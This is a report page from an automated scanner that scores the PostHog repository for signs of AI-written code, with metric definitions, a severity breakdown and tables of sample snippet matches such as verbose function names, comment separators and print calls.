Repository Analysis

PostHog/posthog

🦔 PostHog is an all-in-one developer platform for building successful products. We offer product analytics, web analytics, session replay, error tracking, feature flags, experimentation, surveys, data warehouse, a CDP, and an AI product assistant to help debug your code, ship features faster, and keep all your usage and customer data in one stack.

16.7 Moderate AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of PostHog/posthog, a Python project with 35,485 GitHub stars. SynthScan v2.0 examined 5,930,224 lines of code across 26211 source files, recording 84321 pattern matches distributed across 28 syntactic categories. The overall adjusted score of 16.7 places this repository in the Moderate AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

16.7
Adjusted Score
16.7
Raw Score
100%
Time Factor
2026-07-14
Last Push
35.5K
Stars
Python
Language
5.9M
Lines of Code
26.2K
Files
84.3K
Pattern Hits
2026-07-14
Scan Date
0.08
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 115HIGH 2105MEDIUM 3241LOW 78860

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 84321 distinct pattern matches across 28 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers64456 hits · 62355 pts
SeverityFileLineSnippetContext
LOWconftest.py40def _cache_reverse_rel_identity() -> None:CODE
LOWconftest.py183def _cheapen_freezegun_module_hash() -> None:CODE
LOWconftest.py198 def _fast_module_attributes_hash(module: types.ModuleType) -> str:CODE
LOWconftest.py259def _clean_persons_db_for_direct_tests(request):CODE
LOWnodejs/bin/migrate-minio-to-seaweedfs.js265function ensureLocalDevelopmentOnly(minioEndpoint, seaweedfsEndpoint) {CODE
LOWnodejs/bin/migrate-minio-to-seaweedfs.js434async function listAllObjectsWithMetadata(client, bucket, prefix) {CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts428async function startNodeIngestionApiWorkers(count: number): Promise<NodeWorker[]> {CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts442async function startRustConsumerForWorkers(CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts471async function startNodeIngestionApiWorker(name: string, port?: number): Promise<NodeWorker> {CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts497async function restartNodeIngestionApiWorker(CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts508function startRustIngestionConsumer(CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts664function createKafkaMessageWithCaptureHeaders(event: TestEvent, token: string): Message {CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts681async function assertKafkaIngestionState(groupId: string, expectedEvents: TestEvent[]): Promise<void> {CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts723async function expectCommittedOffsetsAtTopicEnd(CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts746async function waitForTopicMessageCountAndGetWatermarks(CODE
LOW…dejs/tests/service-e2e/rust-ingestion-consumer.test.ts762async function captureTopicStartWatermarks(topics: string[]): Promise<Map<string, TopicWatermarks>> {CODE
LOWnodejs/tests/ingestion/person-state-batch.test.ts345 async function fetchOverridesForDistinctId(distinctId: string) {CODE
LOWnodejs/tests/ingestion/person-state-batch.test.ts350 async function fetchPersonsRowsWithVersionHigerEqualThan(version = 1) {CODE
LOWnodejs/tests/ingestion/person-state-batch.test.ts355 async function fetchDistinctIdsClickhouse(person: InternalPerson) {CODE
LOWnodejs/tests/ingestion/person-state-batch.test.ts4610 function createPersonEventProcessor(mergeMode: any, event: Partial<PluginEvent>) {CODE
LOWnodejs/tests/ingestion/postgres-parity.test.ts49async function waitForClickHousePersonConsumer(clickhouse: Clickhouse): Promise<void> {CODE
LOW…estion/framework/batching-pipeline.integration.test.ts292 async function bindStoresBeforeBatchStep(input: BeforeBatchInput<In, Ctx>) {CODE
LOW…ingestion/pipelines/sessionreplay/consumer.e2e.test.ts335async function queryClickHouseSessionMetadata(CODE
LOW…stion/common/event-filters/manager.integration.test.ts69 async function createManagerAndWaitForLoad(): Promise<{CODE
LOW…nt-processing/process-persons-step.integration.test.ts118 async function createPersonWithDistinctIds(distinctId: string, ...extraDistinctIds: string[]) {CODE
LOWnodejs/tests/helpers/sql.ts197export async function createUserTeamAndOrganization(CODE
LOWnodejs/tests/helpers/sql.ts493export async function fetchPostgresDistinctIdsForPerson(postgres: PostgresRouter, personId: string): Promise<string[]> {CODE
LOWnodejs/tests/helpers/sql.ts500export async function resetBehavioralCohortsDatabase(postgres: PostgresRouter): Promise<void> {CODE
LOWnodejs/tests/helpers/database-guard.ts41export async function assertRouterTargetsTestDatabase(router: PostgresRouter, use: PostgresUse): Promise<void> {CODE
LOWnodejs/tests/helpers/raw-event.ts18export function createTestRawClickHouseEvent(overrides: Partial<RawClickHouseEvent> = {}): RawClickHouseEvent {CODE
LOWnodejs/tests/helpers/ingestion-e2e.ts201export async function waitForClickHouseKafkaConsumer(clickhouse: Clickhouse): Promise<void> {CODE
LOWnodejs/tests/helpers/cdp.ts26function buildTestCdpProducerRegistry(CODE
LOWnodejs/tests/helpers/ingestion-outputs.ts43export function createTestMonitoringOutputs(kafkaProducer: KafkaProducerWrapper) {CODE
LOWnodejs/tests/helpers/ingestion-outputs.ts50export function createTestIngestionOutputs(kafkaProducer: KafkaProducerWrapper) {CODE
LOWnodejs/src/capabilities.ts71export function getPluginServerCapabilities(CODE
LOWnodejs/src/cdp/cdp-services.ts246export function createCdpValkeyShadowPools(CODE
LOWnodejs/src/cdp/utils.ts34export function convertToHogFunctionInvocationGlobals(CODE
LOWnodejs/src/cdp/utils.ts90export function convertBatchHogFlowRequestToHogFunctionInvocationGlobals({CODE
LOWnodejs/src/cdp/utils.ts129export function convertInternalEventToHogFunctionInvocationGlobals(CODE
LOWnodejs/src/cdp/utils.ts235export function isLegacyPluginHogFunction(hogFunction: Pick<HogFunctionType, 'template_id'>): boolean {CODE
LOWnodejs/src/cdp/utils.ts239export function isSegmentPluginHogFunction(hogFunction: Pick<HogFunctionType, 'template_id'>): boolean {CODE
LOWnodejs/src/cdp/utils.ts247export function isInternalErrorTrackingEvent(event: CdpInternalEvent['event']): boolean {CODE
LOWnodejs/src/cdp/async-function-registry.ts40export function getRegisteredAsyncFunctionNames(): string[] {CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.ts102export function convertClickhouseRawEventToFilterGlobals(event: RawClickHouseEvent): HogFunctionFilterGlobals {CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.ts226export function convertToHogFunctionFilterGlobal(CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.ts346export async function filterFunctionInstrumented(options: {CODE
LOWnodejs/src/cdp/consumers/quota-limiting-helper.ts24export async function shouldBlockInvocationDueToQuota(CODE
LOW…rc/cdp/consumers/cdp-data-warehouse-events.consumer.ts192function convertDataWarehouseEventToHogFunctionInvocationGlobals(CODE
LOWnodejs/src/cdp/consumers/cdp-person-updates-consumer.ts136function convertClickhousePersonToInvocationGlobals(CODE
LOW…consumers/cdp-hogflow-subscription-matcher.consumer.ts696function convertClickhousePersonToWakeGlobals(CODE
LOW…src/cdp/consumers/cdp-cyclotron-worker-hogflow.test.ts52function createMockPersonReadRepository(persons: TestPerson[]): jest.Mocked<PersonReadRepository> {CODE
LOW…nsumers/cdp-cyclotron-worker-hogflow-personhog.test.ts43function createMockPersonReadRepository(CODE
LOW…src/cdp/hog-transformations/hog-transformer.service.ts488export function createHogTransformerService(CODE
LOWnodejs/src/cdp/hog-transformations/rust-vm.ts79export function resetHogvmNodeModuleCacheForTests(): void {CODE
LOWnodejs/src/cdp/templates/test/test-helpers.ts37export function propagateTemplatingFromSchema(template: any, input: any): any {CODE
LOW…src/cdp/legacy-plugins/_destinations/sendgrid/index.ts105function getEmailFromIdentifyEvent(event: any): string {CODE
LOW…src/cdp/legacy-plugins/_destinations/intercom/index.ts56async function searchForContactInIntercom(meta: IntercomMeta, url: string, apiKey: string, email: string) {CODE
LOW…ins/_transformations/first-time-event-tracker/index.ts9export async function firstTimeEventTrackerPluginProcessEventAsync(CODE
LOW…ations/posthog-plugin-snowplow-referer-parser/index.ts149function getMediumAndSourceFromReferrer(domain: string) {CODE
LOW…ations/posthog-plugin-snowplow-referer-parser/index.ts184function isReferrerFromDirectDomain(referrer: string) {CODE
64396 more matches not shown…
Decorative Section Separators1913 hits · 6311 pts
SeverityFileLineSnippetContext
MEDIUMpyproject.toml487# ---------------------------------------------------------------------------COMMENT
MEDIUMpyproject.toml489# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf2 # ===========================================================================COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf6 # ===========================================================================COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf56 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf58 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf80 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf83 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf194 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf197 # ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf244# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf246# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf292# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf294# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf334# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf336# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf430# ---------------------------------------------------------------------------COMMENT
MEDIUM…t-2/team-analytics-platform/slo-monitoring/insights.tf432# ---------------------------------------------------------------------------COMMENT
MEDIUM…m-analytics-platform/dashboard-key-metrics/insights.tf1# =============================================================================COMMENT
MEDIUM…m-analytics-platform/dashboard-key-metrics/insights.tf3# =============================================================================COMMENT
MEDIUM…m-analytics-platform/dashboard-key-metrics/insights.tf10# =============================================================================COMMENT
MEDIUM…analytics-platform/dashboard-key-metrics/dashboards.tf1# =============================================================================COMMENT
MEDIUM…analytics-platform/dashboard-key-metrics/dashboards.tf3# =============================================================================COMMENT
MEDIUM…analytics-platform/dashboard-key-metrics/dashboards.tf9# =============================================================================COMMENT
MEDIUM…eam-analytics-platform/dashboard-key-metrics/alerts.tf1# =============================================================================COMMENT
MEDIUM…eam-analytics-platform/dashboard-key-metrics/alerts.tf3# =============================================================================COMMENT
MEDIUM…eam-analytics-platform/dashboard-key-metrics/alerts.tf14# =============================================================================COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf2 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf5 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf49 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf51 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf80 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf82 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf94 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf96 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf232 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf234 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf252 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf254 # ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf283# ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf285# ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf325# ---------------------------------------------------------------------------COMMENT
MEDIUM…/us/project-2/team-analytics-platform/slos/insights.tf327# ---------------------------------------------------------------------------COMMENT
MEDIUMnodejs/src/cdp/workflows-e2e.test.ts210 // ── Helpers ──────────────────────────────────────────────────────COMMENT
MEDIUMnodejs/src/cdp/rerun/rerun-e2e.test.ts272 // ── 1. Original invocation succeeds ─────────────────────────────────COMMENT
MEDIUMnodejs/src/cdp/rerun/rerun-e2e.test.ts313 // ── 2. Mimic Django POST /rerun — only the request itself is faked ──────COMMENT
MEDIUMnodejs/src/cdp/rerun/rerun-e2e.test.ts339 // ── 3. Rerun worker drains the wrapper job ────────────────────────────────COMMENT
MEDIUMnodejs/src/cdp/rerun/rerun-e2e.test.ts347 // ── 4. Wait for the wrapper job to complete ────────────────────────────────COMMENT
MEDIUMnodejs/src/cdp/rerun/rerun-e2e.test.ts354 // ── 5. Reruned invocation flows through the real cyclotron worker ─────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts13// ── Helpers ──────────────────────────────────────────────────────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts114// ── Tests ────────────────────────────────────────────────────────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts145 // ── Manager ──────────────────────────────────────────────────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts444 // ── Worker ───────────────────────────────────────────────────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts1002 // ── Email fair dequeue ───────────────────────────────────────────COMMENT
MEDIUM…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts1407 // ── Janitor ──────────────────────────────────────────────────────COMMENT
MEDIUMtools/snob_backend_test_selection_shadow.py408 # ── 1. Changed test files themselves ─────────────────────────────COMMENT
MEDIUMtools/snob_backend_test_selection_shadow.py447 # ── 4. Product API client tests (URL dispatch heuristic) ───────���─COMMENT
MEDIUMtools/snob_backend_test_selection_shadow.py479 # ── 5. Temporal / ClickHouse broad matching ──────────────────────COMMENT
MEDIUMtools/snob_backend_test_selection_shadow.py494 # ── 6. Signal handler expansion ──────────────────────────────────COMMENT
MEDIUMtools/snob_backend_test_selection_shadow.py510 # ── 7. Middleware expansion ───────────────────────────────────────COMMENT
1853 more matches not shown…
Cross-Language Confusion (JS/TS)813 hits · 4826 pts
SeverityFileLineSnippetContext
HIGHnodejs/bin/migrate-minio-to-seaweedfs.js179 print() {CODE
HIGHnodejs/src/cdp/workflows-e2e.test.ts149 print('Fetch result:', res.status);CODE
HIGHnodejs/src/cdp/workflows-e2e.test.ts2103 print('Fetch result:', res.status);CODE
HIGHnodejs/src/cdp/workflows-e2e.test.ts2223 print('Fetch result:', res.status);CODE
HIGHnodejs/src/cdp/cdp-e2e.test.ts96 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/cdp-e2e.test.ts324 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/cdp-e2e.test.ts464 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/cdp-e2e.test.ts626 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/rerun/rerun-e2e.test.ts210 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/rerun/rerun-e2e.test.ts402 print('Fetch response:', res);CODE
HIGHnodejs/src/cdp/utils/hog-exec.test.ts38 print('I AM FIBONACCI. ')CODE
HIGHnodejs/src/cdp/utils/hog-exec.test.ts45 print(f'fib {fibonacci(64)}');CODE
HIGHnodejs/src/cdp/consumers/cdp-cyclotron-worker.test.ts441 print('I AM FIBONACCI. ')CODE
HIGHnodejs/src/cdp/consumers/cdp-cyclotron-worker.test.ts448 print(f'fib {fibonacci(64)}');`CODE
HIGH…dp/templates/_destinations/webhook/webhook.template.ts21 print('Request', inputs.url, payload)CODE
HIGH…dp/templates/_destinations/webhook/webhook.template.ts31 print('Response', res.status, res.body);CODE
HIGH…rc/cdp/templates/_destinations/close/close.template.ts16 print('No email set. Skipping...')CODE
HIGH…rc/cdp/templates/_destinations/close/close.template.ts76 print('No contact fields to update. Skipping...')CODE
HIGH…rc/cdp/templates/_destinations/unify/unify.template.ts19 print(f'Skipping unsupported event type: {event.event}')CODE
HIGH…/templates/_destinations/google_ads/google.template.ts82 print('Empty \`gclid\`. Skipping...')CODE
HIGH…hog_customer_analytics/posthog-get-account.template.ts32print(f'Fetched account {inputs.external_id}')CODE
HIGH…_analytics/posthog-update-account-property.template.ts35print(f'Updated custom properties on account {inputs.external_id}')CODE
HIGH…hog_customer_analytics/posthog-tag-account.template.ts38print(f'Tagged account {inputs.external_id}')CODE
HIGH…ytics/posthog-update-account-relationships.template.ts37print(f'Updated relationships on account {inputs.external_id}')CODE
HIGH…_customer_analytics/posthog-update-account.template.ts59print(f'Updated account {inputs.external_id}')CODE
HIGH…dp/templates/_destinations/hubspot/hubspot.template.ts29 print('\`companyId\` input is empty. Skipping...')CODE
HIGH…dp/templates/_destinations/hubspot/hubspot.template.ts75 print(f'Successfully created company {data.properties['posthog_group_id']}')CODE
HIGH…dp/templates/_destinations/hubspot/hubspot.template.ts83 print(f'Successfully updated company {data.properties['posthog_group_id']}')CODE
HIGH…dp/templates/_destinations/appcues/appcues.template.ts17 print('No user ID set. Skipping as a user ID is required.')CODE
HIGH…dp/templates/_destinations/appcues/appcues.template.ts49 print('No profile properties to send. Skipping.')CODE
HIGH…rc/cdp/templates/_destinations/klime/klime.template.ts57 print('No user ID set. Skipping as user ID is required for identify events.')CODE
HIGH…rc/cdp/templates/_destinations/klime/klime.template.ts86 print('No group ID set. Skipping as group ID is required for group events.')CODE
HIGH…/_destinations/firebase_push/firebase_push.template.ts53 print('Sending push notification', url, payload)CODE
HIGH…/_destinations/firebase_push/firebase_push.template.ts63 print('Push notification sent', res)CODE
HIGH…ates/_destinations/microsoft_ads/microsoft.template.ts99 print('Empty \`microsoftClickId\`. Skipping...')CODE
HIGH…/templates/_destinations/whatsapp/whatsapp.template.ts73 print('Sending WhatsApp message', url, payload)CODE
HIGH…/templates/_destinations/whatsapp/whatsapp.template.ts83 print('WhatsApp message sent', res)CODE
HIGH…/cdp/templates/_destinations/twilio/twilio.template.ts44 print('Sending SMS', url, payload)CODE
HIGH…/cdp/templates/_destinations/twilio/twilio.template.ts55 print('SMS sent', res)CODE
HIGH…emplates/_sources/webhook/incoming_webhook.template.ts15 print('Incoming request:', request.body)CODE
HIGH…emplates/_sources/webhook/incoming_webhook.template.ts28 print('Incoming request denied due to bad authorization header')CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts15 print('Incoming headers:', request.headers)CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts16 print('Incoming body:', request.body)CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts29 print('Denied: bad Authorization header')CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts103 print(f'Warning: Dropped {droppedCount} additional log(s). Hog functions can only emit one event per invocation.')CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts242 print('vercel log drain: custom_template empty, falling back to rotating_salt')CODE
HIGH…templates/_sources/vercel/vercel_log_drain.template.ts258 print('vercel log drain: custom_template substituted to empty, falling back to rotating_salt')CODE
HIGH…ejs/src/cdp/templates/_sources/pixel/pixel.template.ts16 print('Incoming request:', request.query)CODE
HIGH…s/_transformations/url-masking/url-masking.template.ts77 print('Error masking URL parameters:', error)CODE
HIGH…cdp/templates/_transformations/geoip/geoip.template.ts34 print('geoip disabled or no ip.')CODE
HIGH…cdp/templates/_transformations/geoip/geoip.template.ts40 print('spoofing ip for local development', ip)CODE
HIGH…cdp/templates/_transformations/geoip/geoip.template.ts45 print('geoip lookup failed for ip', ip)CODE
HIGH…cdp/templates/_transformations/geoip/geoip.template.ts75print('geoip location data for ip:', location)CODE
HIGH…rmations/ip-anonymization/ip-anonymization.template.ts17 print('No IP address found in event')CODE
HIGH…rmations/ip-anonymization/ip-anonymization.template.ts26 print('Invalid IP address format: wrong number of octets')CODE
HIGH…rmations/ip-anonymization/ip-anonymization.template.ts34 print('Invalid IP address: octets must be numbers between 0 and 255')CODE
HIGH…ations/url-normalization/url-normalization.template.ts48 print('keyValue', keyValue)CODE
HIGH…ations/url-normalization/url-normalization.template.ts65 print('normalizedParams', normalizedParams)CODE
HIGHnodejs/src/cdp/services/hog-executor.service.test.ts1141 print('after produce')`CODE
HIGH…cdp/services/hogflows/hogflow-executor.service.test.ts128 print(f'Hello, {inputs.name}!')CODE
753 more matches not shown…
Excessive Try-Catch Wrapping3843 hits · 3831 pts
SeverityFileLineSnippetContext
MEDIUM…s/_transformations/url-masking/url-masking.template.ts77 print('Error masking URL parameters:', error)CODE
LOWtools/snob_backend_test_selection_shadow.py560 except Exception as exc:CODE
LOW…research_agent/pi_plugin/scripts/ch_compare_results.py136 except Exception as err:CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py354 except Exception as e: # noqa: BLE001CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py364 except Exception as e: # noqa: BLE001CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py389 except Exception as e: # noqa: BLE001CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py743 except Exception as e: # noqa: BLE001CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py814 except Exception: # noqa: BLE001CODE
LOWtools/infra-scripts/clitools/toolbox/user.py57 except Exception as k8s_error:CODE
MEDIUMtools/infra-scripts/clitools/toolbox/user.py58 print(f"Error: Failed to get user identity: {k8s_error}") # noqa: T201CODE
MEDIUMtools/infra-scripts/clitools/toolbox/user.py59 print(f"Error type: {type(k8s_error)}") # noqa: T201CODE
LOWtools/infra-scripts/clitools/toolbox/user.py97 except Exception as e:CODE
LOWtools/infra-scripts/clitools/toolbox/pod.py136 except Exception as e:CODE
MEDIUMtools/infra-scripts/clitools/toolbox/pod.py198 print(f"Error stripping labels: {e.stderr or e}") # noqa: T201CODE
MEDIUMtools/infra-scripts/clitools/toolbox/pod.py215 print(f"Error annotating pod: {e.stderr or e}") # noqa: T201CODE
LOWtools/infra-scripts/clitools/toolbox/pod.py244 except Exception as e:CODE
MEDIUMtools/infra-scripts/clitools/toolbox/pod.py245 print(f"Error claiming pod: {e}") # noqa: T201CODE
LOWtools/infra-scripts/clitools/toolbox/telemetry.py108 except Exception as telemetry_error:CODE
MEDIUMtools/infra-scripts/clitools/toolbox/kubernetes.py33 print(f"Error getting kubernetes contexts: {e}") # noqa: T201CODE
MEDIUMtools/infra-scripts/clitools/toolbox/kubernetes.py43 print(f"Error getting current kubernetes context: {e}") # noqa: T201CODE
MEDIUMtools/infra-scripts/clitools/toolbox/kubernetes.py59 print(f"Error switching kubernetes context: {e}") # noqa: T201CODE
LOWtools/hogli/src/hogli/lazy_commands.py72 except Exception as exc:CODE
LOWtools/hogli/src/hogli/telemetry.py73 except Exception:CODE
LOWtools/hogli/src/hogli/telemetry.py82 except Exception:CODE
LOWtools/hogli/src/hogli/telemetry.py140 except Exception as exc:CODE
LOWtools/hogli/src/hogli/telemetry.py261 except Exception as exc:CODE
LOWtools/hogli/src/hogli/telemetry.py277 except Exception:CODE
MEDIUMtools/hogli/src/hogli/telemetry.py70def _load_config() -> TelemetryConfig:CODE
LOWtools/hogli/src/hogli/cli.py89 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py96 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py227 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py616 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py652 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py692 except Exception:CODE
LOWtools/hogli/src/hogli/cli.py701 except Exception:CODE
MEDIUMtools/hogli/src/hogli/cli.py595def _hogli_version() -> str | None:CODE
LOWtools/hogbox-preview/hogbox_preview/stack.py168 except Exception as e: # noqa: BLE001CODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py354 except Exception as e: # noqa: BLE001 — TTL reaper is the backstopCODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py507 except Exception as e: # noqa: BLE001 — TTL reaper is the backstopCODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py513 except Exception as e: # noqa: BLE001 — TTL reaper is the backstopCODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py569 except Exception as refresh_err: # noqa: BLE001 — keep pollingCODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py571 except Exception as e: # noqa: BLE001 — keep polling through transient API errorsCODE
LOWtools/hogbox-preview/hogbox_preview/__main__.py140 except Exception: # noqa: BLE001 — a flaky check shouldn't reap a live previewCODE
LOWtools/pr-approval-agent/dismiss_check.py227 except Exception as e:CODE
MEDIUMtools/pr-approval-agent/dismiss_check.py218def main() -> None:CODE
LOWtools/pr-approval-agent/review_pr.py298 except Exception as exc:CODE
LOWtools/pr-approval-agent/review_pr.py509 except Exception as exc:CODE
LOWtools/pr-approval-agent/review_pr.py677 except Exception as e:CODE
LOWtools/pr-approval-agent/github.py493 except Exception as exc:CODE
LOWtools/hogli-commands/hogli_commands/metabase.py133 except Exception as exc:CODE
LOWtools/hogli-commands/hogli_commands/feedback.py92 except Exception:CODE
LOWtools/hogli-commands/hogli_commands/feedback.py119 except Exception as exc:CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py138 except Exception:CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py199 except Exception as exc:CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py203 except Exception as cleanup_exc:CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py467 except Exception:STRING
LOWtools/hogli-commands/hogli_commands/db_schema.py528 except Exception as exc:STRING
LOWtools/hogli-commands/hogli_commands/db_schema.py535 except Exception as exc:STRING
LOWtools/hogli-commands/hogli_commands/db_schema.py568 except Exception as exc:STRING
LOWtools/hogli-commands/hogli_commands/db_schema.py586 except Exception as exc:STRING
3783 more matches not shown…
Cross-Language Confusion782 hits · 3514 pts
SeverityFileLineSnippetContext
HIGH…rmance-ai/query_performance_ai/orchestrator/harvest.py31 result = sandbox.execute(f"cat {shlex.quote(path)} 2>/dev/null || true", timeout_seconds=30)CODE
